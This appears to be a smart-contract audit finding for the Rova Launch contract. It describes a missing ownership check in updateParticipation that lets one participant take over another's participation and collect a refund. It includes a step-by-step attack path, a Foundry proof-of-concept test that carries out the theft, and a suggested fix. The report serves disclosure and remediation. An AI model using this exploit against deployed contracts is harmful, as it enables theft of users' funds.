Blurry Rose Alpaca

High

# Malicious participant can steal other participant funds via updateParticipation

### Summary

Missing ownership validation in `updateParticipation` will cause unauthorized participation manipulation for launch participants as malicious actors can take over any participation and steal refunds by providing a valid signature with matching userId and currency.

### Root Cause

https://github.com/sherlock-audit/2025-02-rova/blob/main/rova-contracts/src/Launch.sol#L312-L398

In `Launch::updateParticipation` there is a missing ownership validation check between msg.sender and prevInfo.userAddress when accessing participation data, allowing any user to manipulate another user's participation.




### Internal Pre-conditions

1. Launch group must be in ACTIVE status
2. Launch group must not be set to finalizesAtParticipation
3. Target participation must not be finalized
4. Attacker needs valid signature from signer role
5. Attacker's request must have matching userId and currency as target participation

### External Pre-conditions

None

### Attack Path

1. Victim creates participation with ID "X" and deposits funds
2. Attacker creates their own participation with ID "Y"
3. Attacker obtains valid signature for updating their participation
4. Attacker calls updateParticipation with:
   - prevLaunchParticipationId = their own ID "Y"
   - newLaunchParticipationId = victim's ID "X"
   - Lower token amount than their original participation
5. Contract:
   - Sends refund to attacker for reduced amount
   - Updates victim's participation ownership to attacker
6. Result:
   - Attacker gets refund + control of victim's participation
   - Victim's funds remain locked in contract

### Impact

The victim suffers complete loss of their participation funds.
 The attacker gains:
 - Control of victim's participation (by becoming new userAddress)
 - Immediate refund of the difference between original and new participation amount
 - Ability to further manipulate or cancel the stolen participation


### PoC

put this test in the Launch.UpdateParticipation.t.sol
```solidity
 function test_RevertIf_UpdateParticipation_OverwriteExistingParticipation() public {
        // SETUP: First participation setup is already done in setUp()
        
        // STEP 1: Create victim's (user2) participation with 1000 tokens
        ParticipationRequest memory user2Request = _createParticipationRequest();
        user2Request.userAddress = user2;
        user2Request.userId = "user2Id"; 
        user2Request.launchParticipationId = "user2ParticipationId";
        bytes memory user2Signature = _signRequest(abi.encode(user2Request));
    
        // Log initial state
        console.log("=== Initial State ===");
        uint256 user1InitialBalance = currency.balanceOf(user1);
        uint256 user2InitialBalance = currency.balanceOf(user2);
        console.log("User1 (attacker) initial balance:", user1InitialBalance);
        console.log("User2 (victim) initial balance:", user2InitialBalance);
        assertEq(user2InitialBalance, 1000 * 10**18, "Victim should start with 1000 tokens");
    
        // STEP 2: User2 participates in the launch
        vm.startPrank(user2);
        currency.approve(
            address(launch),
            _getCurrencyAmount(
                user2Request.launchGroupId,
                user2Request.currency,
                user2Request.tokenAmount
            )
        );
        launch.participate(user2Request, user2Signature);
        vm.stopPrank();
    
        // Verify user2's participation was recorded
        console.log("=== After Victim Participation ===");
        ParticipationInfo memory originalUser2Info = launch.getParticipationInfo("user2ParticipationId");
        assertEq(originalUser2Info.userAddress, user2, "Participation should belong to victim");
        assertEq(originalUser2Info.tokenAmount, 1000 * 10**18, "Victim should have 1000 tokens participation");
        console.log("Victim participation amount:", originalUser2Info.tokenAmount);
        console.log("Victim remaining balance:", currency.balanceOf(user2));
        assertEq(currency.balanceOf(user2), 0, "Victim should have spent all tokens");
    
        // STEP 3: EXPLOIT - User1 attempts to take over User2's participation
        console.log("=== Executing Exploit ===");
        UpdateParticipationRequest memory maliciousRequest = _createUpdateParticipationRequest(500);
        maliciousRequest.newLaunchParticipationId = "user2ParticipationId"; // Target victim's participation
        bytes memory updateSignature = _signRequest(abi.encode(maliciousRequest));
        
        vm.startPrank(user1);
        uint256 updatedCurrencyAmount = _getCurrencyAmount(
            maliciousRequest.launchGroupId,
            maliciousRequest.currency,
            maliciousRequest.tokenAmount
        );
        currency.approve(address(launch), updatedCurrencyAmount);
    
        // VULNERABILITY: No ownership check in updateParticipation allows this to succeed
        launch.updateParticipation(maliciousRequest, updateSignature);
    
        // STEP 4: Verify exploit success
        console.log("=== Post-Exploit State ===");
        ParticipationInfo memory compromisedInfo = launch.getParticipationInfo("user2ParticipationId");
        
        // Verify participation ownership was stolen
        assertEq(compromisedInfo.userAddress, user1, "EXPLOIT: Attacker now owns victim's participation");
        assertEq(compromisedInfo.tokenAmount, 500 * 10**18, "EXPLOIT: Participation amount reduced to 500");
        
        // Verify attacker profited
        uint256 user1FinalBalance = currency.balanceOf(user1);
        uint256 stolenAmount = user1FinalBalance - user1InitialBalance;
        console.log("Attacker's profit:", stolenAmount);
        assertGt(stolenAmount, 0, "EXPLOIT: Attacker should have received refund from reducing participation");
        
        // Verify victim lost funds
        uint256 user2FinalBalance = currency.balanceOf(user2);
        console.log("Victim's final balance:", user2FinalBalance);
        assertEq(user2FinalBalance, 0, "EXPLOIT: Victim's funds were stolen");
    
        vm.stopPrank();
    }
```

### Mitigation

Add ownership validation at the start of updateParticipation:
```solidity
ParticipationInfo storage prevInfo = launchGroupParticipations[request.prevLaunchParticipationId];

// Add critical ownership check
if (msg.sender != prevInfo.userAddress) {
    revert UnauthorizedAccess(msg.sender, prevInfo.userAddress);
}
```